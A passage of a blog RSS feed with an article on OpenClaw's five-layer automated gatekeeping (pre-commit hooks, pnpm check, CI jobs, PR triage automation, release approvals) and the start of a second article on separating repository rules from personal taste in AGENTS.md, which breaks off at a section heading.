<p>Chapter 7, &ldquo;Insights &amp; Skills&rdquo;: <a href="https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/07-insights-and-skills.md">https://github.com/roboco-io/serverless-autoresearch/blob/main/docs/vibe-coding-tutorial/07-insights-and-skills.md</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>OpenClaw&#39;s Five-Layer Gatekeeping: Quality Control in the Age of AI Agents</title>
            <link>https://roboco.io/en/posts/openclaw-gatekeeping-architecture/</link>
            <pubDate>Fri, 27 Mar 2026 00:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/openclaw-gatekeeping-architecture/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;Thousands of PRs pouring into a 310K-star project, plus parallel commits from eight AI agents. The secret to keeping quality from collapsing amid that chaos is five layers of automated gatekeeping.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;In an earlier post I analyzed &lt;a href=&#34;https://roboco.io/en/posts/openclaw-agents-md-productivity-secrets/&#34;&gt;the productivity principles embedded in OpenClaw&amp;rsquo;s AGENTS.md&lt;/a&gt;. The heart of that piece was &amp;ldquo;writing the rules down.&amp;rdquo; But writing rules and &lt;strong&gt;enforcing&lt;/strong&gt; them are entirely different problems.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>Thousands of PRs pouring into a 310K-star project, plus parallel commits from eight AI agents. The secret to keeping quality from collapsing amid that chaos is five layers of automated gatekeeping.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>In an earlier post I analyzed <a href="/en/posts/openclaw-agents-md-productivity-secrets/">the productivity principles embedded in OpenClaw&rsquo;s AGENTS.md</a>. The heart of that piece was &ldquo;writing the rules down.&rdquo; But writing rules and <strong>enforcing</strong> them are entirely different problems.</p>
<p>OpenClaw is the most-starred repository on GitHub (310K+) and a flagship case study in vibe coding.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> The project absorbs two extreme pressures at once. One is the flood of <strong>internal changes</strong> produced by maintainer Peter Steinberger, who runs three to eight AI agents simultaneously. The other is the <strong>thousands of external PRs</strong> submitted by contributors worldwide, most of them AI-assisted.</p>
<p>Writing &ldquo;don&rsquo;t do this&rdquo; in AGENTS.md is a soft guardrail. AI agents usually comply, but not always. External contributors may not even know the rules exist. So OpenClaw stacked <strong>five layers of automated enforcement</strong> on top of the rules. This post dissects those layers.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>OpenClaw&rsquo;s quality control is not just a rules document. It operates as five overlapping layers: pre-commit hooks, <code>pnpm check</code>, CI, PR automation, and release gates.</li>
<li>Problems that can be fixed automatically get fixed by tooling, while dangerous problems — type errors, security issues, architectural boundary violations — get blocked. That split creates defense in depth.</li>
<li>The goal in the vibe coding era is not to stop AI from ever writing bad code, but to stop bad code from reaching production.</li>
</ul>
<hr>
<h2 id="layer-1-catch-it-before-the-commit--local-pre-commit-hooks">Layer 1: Catch It Before the Commit — Local Pre-Commit Hooks</h2>
<p>OpenClaw&rsquo;s first line of defense fires before code ever reaches the repository. <a href="https://github.com/openclaw/openclaw/tree/main/git-hooks"><code>git-hooks/pre-commit</code></a> is activated automatically through the <code>prepare</code> script in <code>package.json</code> and runs on every commit.</p>
<p>The order of operations is telling:</p>
<ol>
<li>Filter staged files by type</li>
<li><strong>oxlint</strong> <code>--type-aware --fix</code> — <strong>auto-fixes</strong> lint errors</li>
<li><strong>oxfmt</strong> <code>--write</code> — <strong>auto-fixes</strong> formatting</li>
<li>Re-stage the modified files</li>
<li><code>pnpm check</code> — run the full quality gate</li>
</ol>
<p>The core design idea is <strong>separating auto-fix from blocking</strong>. Mechanically fixable problems such as formatting or lint errors get repaired by the hook and allowed through. Problems that require judgment — type errors, architectural boundary violations — block the commit outright. Without that distinction, agents either stall on trivial formatting issues or sail past structural defects. One or the other.</p>
<p>On top of this, <a href="https://github.com/openclaw/openclaw/blob/main/.pre-commit-config.yaml"><code>.pre-commit-config.yaml</code></a> defines 17 security and quality hooks that also run in CI&rsquo;s <code>security-fast</code> job. <code>detect-private-key</code> and <code>detect-secrets</code> block secret leakage, <code>zizmor</code> audits the security of GitHub Actions workflows, and <code>pnpm-audit-prod</code> scans production dependencies for known vulnerabilities.</p>
<hr>
<h2 id="layer-2-one-command-ten-verifications--pnpm-check">Layer 2: One Command, Ten Verifications — <code>pnpm check</code></h2>
<p><code>pnpm check</code> is the <strong>single quality gate</strong> that runs both in local hooks and in CI. More than ten checks are chained behind that one command.</p>
<pre tabindex="0"><code>pnpm check =
  check:no-conflict-markers          # No merge conflict markers
  check:host-env-policy:swift         # Swift host environment security policy
  check:base-config-schema            # Config schema drift check
  check:bundled-plugin-metadata       # Plugin metadata consistency
  check:bundled-provider-auth-env-vars # Provider auth env var consistency
  format:check (oxfmt)                # Formatting verification
  tsgo                                # Native TypeScript type checking
  plugin-sdk:check-exports            # Plugin SDK export consistency
  lint (oxlint --type-aware)          # Type-aware linting
  + ~15 custom architectural boundary lint scripts
</code></pre><p>The last line is the most noteworthy part. A typical linter catches code-level problems like unused variables or missing semicolons. OpenClaw&rsquo;s custom boundary guard scripts catch <strong>architecture-level violations</strong>. They detect when an Extension imports core <code>src/**</code> directly, references internal paths in the plugin SDK, or reaches outside the package root with relative paths.</p>
<p>This is the code implementation of <a href="/en/posts/openclaw-agents-md-productivity-secrets/">the import boundary rule I analyzed in the earlier AGENTS.md post</a>. What the rules document says not to do, CI actually verifies and blocks. It is a <strong>double barrier of rules and verification</strong>.</p>
<hr>
<h2 id="layer-3-fifteen-parallel-jobs-inspect-every-change--the-ci-workflow">Layer 3: Fifteen Parallel Jobs Inspect Every Change — The CI Workflow</h2>
<p>OpenClaw&rsquo;s <a href="https://github.com/openclaw/openclaw/blob/main/.github/workflows/ci.yml"><code>ci.yml</code></a> is the main gatekeeper, running on PRs and pushes to main. It consists of roughly 15 parallel jobs and skips draft PRs.</p>
<h3 id="smart-routing-reconciling-speed-and-thoroughness">Smart Routing: Reconciling Speed and Thoroughness</h3>
<p>Running every test on every change is thorough but slow. Running only related tests is fast but leaky. OpenClaw resolves this dilemma with a <strong>preflight job</strong>.</p>
<p>The preflight job detects the scope of changed files and generates a CI manifest. Docs-only changes get docs checks only; touching a Swift file adds a macOS build and test run; changing a single Extension runs only that Extension&rsquo;s tests. This smart routing strikes the balance between &ldquo;slow but thorough&rdquo; CI and &ldquo;fast but incomplete&rdquo; CI.</p>
<h3 id="the-full-ci-job-structure">The Full CI Job Structure</h3>
<table>
  <thead>
      <tr>
          <th>Category</th>
          <th>Job</th>
          <th>What It Checks</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Security</strong></td>
          <td>security-fast</td>
          <td>Private key detection, Actions security audit, dependency audit</td>
      </tr>
      <tr>
          <td><strong>Quality</strong></td>
          <td>check</td>
          <td>Full <code>pnpm check</code> + strict smoke build</td>
      </tr>
      <tr>
          <td><strong>Architecture</strong></td>
          <td>check-additional</td>
          <td>15+ boundary guards, schema drift, SDK API baseline</td>
      </tr>
      <tr>
          <td><strong>Build</strong></td>
          <td>build-artifacts</td>
          <td><code>pnpm build</code> + UI build</td>
      </tr>
      <tr>
          <td><strong>Tests (Linux)</strong></td>
          <td>checks (sharded)</td>
          <td>Vitest unit tests, channel tests, Node 22 compatibility</td>
      </tr>
      <tr>
          <td><strong>Tests (Windows)</strong></td>
          <td>checks-windows (sharded)</td>
          <td>Full test suite</td>
      </tr>
      <tr>
          <td><strong>Tests (macOS)</strong></td>
          <td>macos-node (sharded)</td>
          <td>Full test suite</td>
      </tr>
      <tr>
          <td><strong>Extensions</strong></td>
          <td>checks-fast, extension-fast</td>
          <td>Contract tests, targeted tests for changed Extensions</td>
      </tr>
      <tr>
          <td><strong>Native apps</strong></td>
          <td>macos-swift, android</td>
          <td>Swift/Kotlin build + test + lint</td>
      </tr>
      <tr>
          <td><strong>Docs</strong></td>
          <td>check-docs</td>
          <td>Formatting, link audit, i18n glossary</td>
      </tr>
      <tr>
          <td><strong>Smoke</strong></td>
          <td>build-smoke</td>
          <td>CLI <code>--help</code>/<code>--version</code>, startup memory check</td>
      </tr>
      <tr>
          <td><strong>Release</strong></td>
          <td>release-check (main only)</td>
          <td>Release content verification</td>
      </tr>
  </tbody>
</table>
<p>The architectural boundary guards in the <a href="https://github.com/openclaw/openclaw/blob/main/.github/workflows/ci.yml"><code>check-additional</code></a> job are especially impressive. Custom scripts detect plugin-to-Extension import violations, references to Extension SDK internal paths, raw <code>window.open</code> usage, gateway watch regressions, and more. These are <strong>guardrails purpose-built for a vibe coding environment</strong> — nothing you would find in a conventional CI pipeline.</p>
<hr>
<h2 id="layer-4-triaging-thousands-of-prs-without-a-human--pr-lifecycle-automation">Layer 4: Triaging Thousands of PRs Without a Human — PR Lifecycle Automation</h2>
<p>A 310K-star project attracts thousands of issues and PRs. There is no way a maintainer can triage them one by one. OpenClaw solves this with three automation workflows.</p>
<h3 id="auto-labeling-the-changed-files-are-the-label">Auto-Labeling: The Changed Files Are the Label</h3>
<p>The <a href="https://github.com/openclaw/openclaw/blob/main/.github/labeler.yml"><code>labeler.yml</code></a> workflow analyzes changed file paths when a PR opens and assigns labels automatically. It defines 21 channel labels (<code>channel: discord</code>, <code>channel: telegram</code>, and so on), 4 app labels (<code>app: ios</code>, <code>app: android</code>, etc.), 8 area labels (<code>gateway</code>, <code>agents</code>, <code>security</code>, etc.), and more than 30 Extension labels.</p>
<p>On top of that, <strong>PR size labels</strong> (XS/S/M/L/XL) are assigned automatically based on line count, <strong>maintainer labels</strong> are derived from team membership, and <strong>beta-blocker labels</strong> are detected from the PR title. These labels then trigger the auto-response system in the next stage.</p>
<h3 id="auto-response-filtering-noise-automatically">Auto-Response: Filtering Noise Automatically</h3>
<p><a href="https://github.com/openclaw/openclaw/blob/main/.github/workflows/auto-response.yml"><code>auto-response.yml</code></a> processes PRs and issues automatically based on labels. The rules in this workflow accumulated from real operational experience.</p>
<p><strong>Spam/noise blocking</strong>:</p>
<ul>
<li><code>r: spam</code> or <code>r: moltbook</code> label → auto-close + lock</li>
<li><code>dirty</code> label or PRs with more than 20 labels → close with a &ldquo;noisy PR&rdquo; message</li>
</ul>
<p><strong>Community behavior limits</strong>:</p>
<ul>
<li>A non-maintainer with <strong>more than 10 open PRs</strong> → assign <code>r: too-many-prs</code> and auto-close</li>
<li><strong>Mentioning three or more maintainers</strong> on an issue or PR → spam-ping warning message</li>
</ul>
<p><strong>Routing to the right channel</strong>:</p>
<ul>
<li><code>r: skill</code> → point skill-related questions to ClawHub, then close</li>
<li><code>r: support</code> → point support requests to Discord, then close</li>
<li><code>r: no-ci-pr</code> → reject PRs that only change CI configuration</li>
</ul>
<p>The <strong>10-PR-per-person cap</strong> matters especially in the vibe coding era. In an environment where AI tools make it easy to mass-produce PRs, it prevents any one person from monopolizing the review queue. CONTRIBUTING.md states the same principle: <em>&ldquo;Keep PRs focused (one thing per PR; do not mix unrelated concerns)&rdquo;</em><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h3 id="lifecycle-management-abandoned-prs-get-cleaned-up-automatically">Lifecycle Management: Abandoned PRs Get Cleaned Up Automatically</h3>
<p><a href="https://github.com/openclaw/openclaw/blob/main/.github/workflows/stale.yml"><code>stale.yml</code></a> runs daily and cleans up abandoned issues and PRs. Issues are marked stale after 7 days and closed 5 days later; PRs go stale after 5 days and close 3 days later. Closed issues are locked after 48 hours. Items labeled <code>enhancement</code>, <code>maintainer</code>, <code>pinned</code>, or <code>security</code> are exempt.</p>
<p>It is notable that PRs have a shorter lifespan than issues (5+3 days vs. 7+5 days). Code changes drift further from their context and grow more likely to conflict as time passes.</p>
<h3 id="the-pr-template-demanding-evidence-structurally">The PR Template: Demanding Evidence Structurally</h3>
<p>OpenClaw&rsquo;s <a href="https://github.com/openclaw/openclaw/blob/main/.github/pull_request_template.md">PR template</a> goes beyond the usual &ldquo;what did you do&rdquo; and enforces <strong>evidence-based review</strong>.</p>
<p>Among the required sections, these stand out:</p>
<ul>
<li><strong>What did NOT change (scope boundary)</strong>: Explicitly declare what was left untouched. Changes made by AI agents tend to sprawl in scope, so forcing an intentional boundary declaration lets reviewers detect scope creep.</li>
<li><strong>Security Impact</strong>: Check <strong>Yes/No individually</strong> for changes to permissions, secrets, network, tool execution, and data access. Instead of a vague &ldquo;does this affect security?&rdquo;, it walks through concrete surfaces one at a time.</li>
<li><strong>Evidence</strong>: At least <strong>one</strong> of a failing-to-passing test, a trace/log, or a screenshot is mandatory.</li>
<li><strong>Human Verification</strong>: State the scenarios verified, the edge cases, and — crucially — <strong>what was not verified</strong>.</li>
</ul>
<p>That last item matters most. If you only ask &ldquo;what did you test,&rdquo; PR authors list the cases that passed. Ask &ldquo;what did you not test,&rdquo; and reviewers can immediately locate the risky areas.</p>
<hr>
<h2 id="layer-5-stop-before-irreversible-actions--release-gates">Layer 5: Stop Before Irreversible Actions — Release Gates</h2>
<p>CI is fully automatic; releases never are. OpenClaw&rsquo;s release pipeline consists of a <strong>manual trigger, environment approval, and multi-stage verification</strong>.</p>
<h3 id="the-npm-release-a-19-step-sequence">The NPM Release: A 19-Step Sequence</h3>
<p><a href="https://github.com/openclaw/openclaw/blob/main/.github/workflows/openclaw-npm-release.yml"><code>openclaw-npm-release.yml</code></a> is triggered only by <code>workflow_dispatch</code>. There is no automatic release. Once it runs, it passes through these verifications in order:</p>
<ol>
<li>Tag format validation</li>
<li><code>pnpm check</code> + <code>pnpm build</code> + <code>pnpm release:check</code></li>
<li>npm version uniqueness confirmation</li>
<li><strong><code>npm-release</code> environment approval</strong> → explicit sign-off from a member of the <code>@openclaw/openclaw-release-managers</code> team is required</li>
<li>Enforced execution from the main branch only</li>
<li>Then a 19-step sequence: tag creation → npm preflight → mac preflight (public + private) → actual publish → asset verification → appcast update</li>
</ol>
<h3 id="codeowners-physically-locking-the-security-surface">CODEOWNERS: Physically Locking the Security Surface</h3>
<p><a href="https://github.com/openclaw/openclaw/blob/main/.github/CODEOWNERS"><code>CODEOWNERS</code></a> is a hard guardrail enforced by GitHub itself. If AGENTS.md&rsquo;s &ldquo;don&rsquo;t touch the security files&rdquo; is a soft guardrail, CODEOWNERS makes the <strong>merge itself impossible</strong> without review approval from the owning team.</p>
<p>Surfaces protected by <strong><code>@openclaw/secops</code></strong>:</p>
<ul>
<li>Security code: <code>src/security/</code>, <code>src/secrets/</code>, gateway auth/secrets, agent sandbox</li>
<li>Security infrastructure: dependabot, CodeQL, <code>SECURITY.md</code></li>
<li>Security docs: all documentation on authentication, sandboxing, and secrets</li>
</ul>
<p>Surfaces protected by <strong><code>@openclaw/openclaw-release-managers</code></strong>:</p>
<ul>
<li>Release workflows, publish scripts, release documentation</li>
</ul>
<p>The CODEOWNERS file itself can only be modified by <code>@steipete</code>, the founder. A gatekeeper guarding the gatekeepers.</p>
<h3 id="skill-gates-for-ai-agents">Skill Gates for AI Agents</h3>
<p>Even the AI agent skills for release and PR management have gates.</p>
<p>The <a href="https://github.com/openclaw/openclaw/tree/main/.agents/skills/openclaw-pr-maintainer"><code>$openclaw-pr-maintainer</code></a> skill enforces an <strong>evidence standard</strong> for bug-fix PRs. Issue text or the AI&rsquo;s own reasoning is not enough to merge. It requires symptom evidence, a verified root cause at the file/line level, a fix in the relevant code path, and a regression test. Any bulk close/reopen exceeding five items requires explicit user confirmation.</p>
<p>The <a href="https://github.com/openclaw/openclaw/tree/main/.agents/skills/openclaw-release-maintainer"><code>$openclaw-release-maintainer</code></a> skill requires <strong>operator approval at every step</strong> for both version-number changes and npm publishes. Skills assist with automation, but irreversible actions still end with a human decision.</p>
<hr>
<h2 id="the-defense-in-depth-the-five-layers-create">The Defense in Depth the Five Layers Create</h2>
<p>Viewing all five layers as a single picture reveals the <strong>defense in depth</strong> that code must traverse before reaching production.</p>
<pre tabindex="0"><code>[Developer / Agent]
       ↓
  Layer 1: Pre-commit ──── Auto-fix format/lint, block type/boundary violations
       ↓
  Layer 2: pnpm check ──── 10+ chained checks, 15+ architectural boundary guards
       ↓
  Layer 3: CI ──────────── 15 parallel jobs, cross-platform, security scans
       ↓
  Layer 4: PR automation ─ Label triage, noise filters, evidence-based template, stale cleanup
       ↓
  Layer 5: Release ─────── Manual trigger, environment approval, CODEOWNERS, 19-step verification
       ↓
  [Production]
</code></pre><p>Each layer is independent. If pre-commit fails, CI catches it; if CI is bypassed, PR review catches it; if the PR passes, the release gate blocks it. When one layer is breached, the next one defends.</p>
<hr>
<h2 id="seven-design-principles">Seven Design Principles</h2>
<p>Here are the design principles distilled from OpenClaw&rsquo;s gatekeeping.</p>
<h3 id="1-separate-auto-fix-from-blocking">1. Separate Auto-Fix from Blocking</h3>
<p>Auto-fix formatting and lint errors; hard-block type and boundary violations. This avoids needlessly interrupting the agent&rsquo;s flow while never letting structural defects through.</p>
<h3 id="2-preserve-speed-with-smart-routing">2. Preserve Speed with Smart Routing</h3>
<p>Don&rsquo;t run every test on every change. Detect the scope of the change and run only the relevant jobs. Fast feedback and thorough verification can coexist.</p>
<h3 id="3-overlap-rules-documents-with-automated-verification">3. Overlap Rules Documents with Automated Verification</h3>
<p>Write &ldquo;don&rsquo;t do this&rdquo; in AGENTS.md, and actually detect the violation in CI. The double barrier of soft and hard guardrails creates defense in depth.</p>
<h3 id="4-demand-evidence-structurally-in-prs">4. Demand Evidence Structurally in PRs</h3>
<p>Ask not only &ldquo;what did you do&rdquo; but &ldquo;what did you not do,&rdquo; &ldquo;what evidence do you have,&rdquo; and &ldquo;is there a security impact&rdquo; — structurally. Make the author supply upfront the information the reviewer needs to judge.</p>
<h3 id="5-filter-community-noise-automatically">5. Filter Community Noise Automatically</h3>
<p>A 10-PR-per-person cap, automatic stale closing, label-driven auto-close and routing, maintainer-ping spam detection. Maintainer attention is a finite resource, and automated triage protects it.</p>
<h3 id="6-stop-before-irreversible-actions">6. Stop Before Irreversible Actions</h3>
<p>CI is fully automatic, but releases need a manual trigger plus environment approval. Even AI agent skills require step-by-step approval for version changes and publishes. &ldquo;Move fast, but stop before actions you cannot undo.&rdquo;</p>
<h3 id="7-put-a-gatekeeper-in-front-of-the-gatekeepers">7. Put a Gatekeeper in Front of the Gatekeepers</h3>
<p>Only the founder can modify the CODEOWNERS file. Only the release manager team can modify release workflows. Security code cannot be merged without secops approval. There is a meta layer protecting the gatekeeping system itself.</p>
<hr>
<h2 id="applying-this-to-your-own-project">Applying This to Your Own Project</h2>
<p>You don&rsquo;t need to adopt all five of OpenClaw&rsquo;s layers at once. Ordered by difficulty:</p>
<table>
  <thead>
      <tr>
          <th>Stage</th>
          <th>What to Adopt</th>
          <th>Effect</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Immediately</strong></td>
          <td>Pre-commit hook (lint + format auto-fix)</td>
          <td>Eliminates CI failures wasted on trivial errors</td>
      </tr>
      <tr>
          <td><strong>Immediately</strong></td>
          <td>Add evidence/security sections to the PR template</td>
          <td>Instant improvement in review quality</td>
      </tr>
      <tr>
          <td><strong>1 week</strong></td>
          <td>Type check + test gates in CI</td>
          <td>Establishes a baseline quality floor</td>
      </tr>
      <tr>
          <td><strong>1 week</strong></td>
          <td>Protect security-sensitive files with CODEOWNERS</td>
          <td>Hard-locks the security surface</td>
      </tr>
      <tr>
          <td><strong>2 weeks</strong></td>
          <td>Stale bot + auto-labeling</td>
          <td>Automates PR queue management</td>
      </tr>
      <tr>
          <td><strong>1 month</strong></td>
          <td>Custom architectural boundary guard scripts</td>
          <td>Prevents architectural erosion</td>
      </tr>
      <tr>
          <td><strong>1 month</strong></td>
          <td>Smart routing (CI job selection by change scope)</td>
          <td>Optimizes CI speed</td>
      </tr>
      <tr>
          <td><strong>1 quarter</strong></td>
          <td>Release environment approval + multi-stage verification</td>
          <td>Secures release safety</td>
      </tr>
  </tbody>
</table>
<p>The highest-ROI items are the <strong>pre-commit hook</strong> and the <strong>PR template</strong>. Both can be adopted within a day, and the effect is immediate. Add the rest incrementally, calibrated to your project&rsquo;s scale and risk profile.</p>
<p>Quality control in the vibe coding era is not about &ldquo;keeping AI from writing bad code.&rdquo; AI sometimes writes bad code. So do people. What matters is <strong>keeping bad code from reaching production</strong>. OpenClaw&rsquo;s five-layer gatekeeping shows how.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="/en/posts/openclaw-vibe-coding-best-practices/">OpenClaw: Nine Best Practices from the World&rsquo;s Largest Vibe Coding Project</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/openclaw/openclaw/blob/main/CONTRIBUTING.md">OpenClaw CONTRIBUTING.md</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>The Line Between Repository Rules and Personal Taste in the Vibe Coding Era</title>
            <link>https://roboco.io/en/posts/vibe-coding-rules-vs-taste/</link>
            <pubDate>Thu, 26 Mar 2026 17:26:21 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-rules-vs-taste/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;The job of AGENTS.md is not to clone your developers. It is to pin down only the boundaries where accidents must be prevented.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Teams that adopt vibe coding soon run into a similar question. Once you start putting an &lt;code&gt;AGENTS.md&lt;/code&gt; or &lt;code&gt;CLAUDE.md&lt;/code&gt; in every repository to tell AI agents the rules, it becomes murky how far you should pin things down as shared rules and where you should leave things to individual taste. Draw that line wrong and two problems appear at once: the safety rules that absolutely must hold get loose, while choices that are really just preferences become needlessly rigid.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>The job of AGENTS.md is not to clone your developers. It is to pin down only the boundaries where accidents must be prevented.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Teams that adopt vibe coding soon run into a similar question. Once you start putting an <code>AGENTS.md</code> or <code>CLAUDE.md</code> in every repository to tell AI agents the rules, it becomes murky how far you should pin things down as shared rules and where you should leave things to individual taste. Draw that line wrong and two problems appear at once: the safety rules that absolutely must hold get loose, while choices that are really just preferences become needlessly rigid.</p>
<p>A perspective that shows up often in recent vibe coding discussions runs along similar lines. Humans should concentrate on high-level judgment such as system architecture and taste, and hand implementation, boilerplate, and repetitive refactoring to agents. Translated into practical terms, this is simple. Keep in the repository the things that &ldquo;must come out the same no matter who does the work,&rdquo; and don&rsquo;t force uniformity on the areas where it is fine for people to differ.</p>
<p>This question does not stay theoretical. Looking at the [OpenClaw case study]<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> and the [anatomy of OpenClaw&rsquo;s <code>AGENTS.md</code>]<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> I wrote up earlier, what actually produced the productivity was not uniformity of taste but explicitness of boundaries. Steinberger likewise explains that these days he doesn&rsquo;t read all the code, but he keeps his hands on system structure and design.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> What OpenClaw pinned down hard was not tabs versus spaces either — it was import boundaries, build gates, multi-agent safety rules, and approval boundaries for irreversible operations.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>The key is not writing a lot, but designing what to close and what to leave open.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Repository rules should not be a document that clones the team&rsquo;s taste; they should be a document that pins down the boundaries where accidents are expensive.</li>
<li>Build, test, security, Git safety rules, and architectural boundaries belong under version control alongside the repository.</li>
<li>Matters of taste such as naming nuance or comment style are better handled by formatters, linters, templates, and personal prompts.</li>
</ul>
<h2 id="why-this-distinction-matters">Why this distinction matters</h2>
<p>AI agents follow rules quickly. The problem is that they cannot tell one kind of rule from another on their own. When repository guidelines mix constraints that must be obeyed — build commands, secret handling, branch safety rules — with taste at the level of &ldquo;this is how I&rsquo;d write it,&rdquo; the agent treats both with the same weight. The important rules then get buried, and the less important ones get amplified out of proportion.</p>
<p>For example, merging without getting <code>pnpm test</code> to pass produces bugs. Committing a real secret causes an incident. Changing authentication flows or payment authorization logic without adequate review creates operational risk. These are operating contracts, not matters open to debate. Whether to name a function <code>findUser</code> or <code>getUserById</code>, whether to put test files next to the source or collect them under <code>__tests__</code>, in what order to sort imports — these may affect the outcome, but there is usually no single fixed right answer.</p>
<p>If you don&rsquo;t draw this distinction, repository documentation bloats fast. Promote every preference to a central rule and the agent spends more context reading the document, while the team burns unnecessary energy on trivial style agreements. Conversely, treat objective constraints as though they were taste, and in a multi-agent environment you get repeated conflicts and rework.</p>
<p>In the end, a good <code>AGENTS.md</code> should not be a dictionary of the team&rsquo;s taste. It should be a document that draws clear boundaries around the areas where accidents are expensive.</p>
<h2 id="what-openclaw-actually-demonstrated">What OpenClaw actually demonstrated</h2>
<p>As I laid out in an earlier post, OpenClaw&rsquo;s <code>AGENTS.md</code> is not a simple style guide but an operating contract.<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> What is interesting is that the document focuses far more on &ldquo;where can an agent cause an accident&rdquo; than on &ldquo;how do we clone our developers.&rdquo; Looking at the actual guidelines, changes that could affect build artifacts or module boundaries are required to pass <code>pnpm build</code> as a hard gate, and typical evasion patterns such as <code>@ts-nocheck</code> are explicitly banned.<sup id="fnref1:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>For instance, OpenClaw locks down import boundaries as a rule so that extensions cannot reach directly into internal implementation. It also has multi-agent safety rules such as banning <code>git stash</code>, banning arbitrary branch switching, and keeping commits atomic. Build and test are split into hard gates and soft gates, spelling out clearly when verification is mandatory.<sup id="fnref2:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup id="fnref2:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>By contrast, that document is not designed around personal taste such as &ldquo;always use semicolons&rdquo; or &ldquo;name functions in this particular tone.&rdquo; In other words, the core of what OpenClaw demonstrated is simple. What repository documentation should address is structural safety, not aesthetic consistency.</p>
<h2 id="rules-that-should-be-managed-alongside-the-repository">Rules that should be managed alongside the repository</h2>
<p>The following are the areas that should be version-controlled along with the repository. They have one thing in common: violating them produces bugs, conflicts, security incidents, or operational confusion.</p>
<ul>
<li>Build and test commands</li>
<li>Git safety rules for multi-agent environments</li>
<li>Architectural constraints such as public API surface, import boundaries, and package boundaries</li>
<li>Security boundaries such as secrets, personal data, and production configuration values</li>
<li>High-risk areas requiring manual review, such as authentication, payments, authorization, and DB schemas</li>
<li>Change management principles such as PR and commit granularity</li>
<li>Work sequences that lower the cost of errors, such as Research → Plan → Implement</li>
<li>Transparency requirements for AI usage</li>
<li>Quality gates and automation criteria the team has already validated</li>
</ul>
<p>These items are closer to a repository operating contract than to &ldquo;recommendations that look nice.&rdquo;</p>
<p>For example, the build command must not be interpreted differently by different people as <code>npm run build</code> or <code>pnpm build</code>. The automation pipeline and local verification have to run off the same command. The same goes for Git rules. In an environment where multiple agents work simultaneously, arbitrary use of stash, unrequested branch changes, and broad non-atomic commits produce real conflicts.</p>
<p>Security boundaries hardly need explanation. Real phone numbers, production environment variables, private keys, customer data samples — these are a prohibition list, not a team style preference. Content like this should not be left to personal prompts or tacit knowledge; it needs to live in the repository documentation and in automated scanning rules.</p>
<p>Workflow ordering follows the same logic. A procedure that requires reading existing code before implementing, making a plan, and only then making changes is not mere formalism. Agents get faster the fewer questions they ask, but getting faster on top of a wrong assumption comes back more expensively later. So a rule requiring exploration and planning first is not taste; it is a cost-reduction device.</p>
<p>There is one more important point here. If a team already depends on automation, the format that automation expects also becomes a shared rule. For example, if the Conventional Commits format is wired into release notes, changelogs, and CI routing, it is no longer a matter of taste. Conversely, if it is merely a format preference at the level of &ldquo;it reads nicely,&rdquo; it can be a team-level agreement without needing to be elevated to a core repository rule.</p>
<p>Where to put recurring procedures can be judged by the same standard. Rather than writing complex recurring work such as releases or security checks at length in the body of <code>AGENTS.md</code>, OpenClaw separates it out into dedicated skills.<sup id="fnref3:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> This is a good distinction as well. Leaving principles and boundaries in the core repository document while separating procedural detail into a reusable execution surface holds up longer.</p>
<h2 id="areas-that-can-be-left-to-personal-taste">Areas that can be left to personal taste</h2>
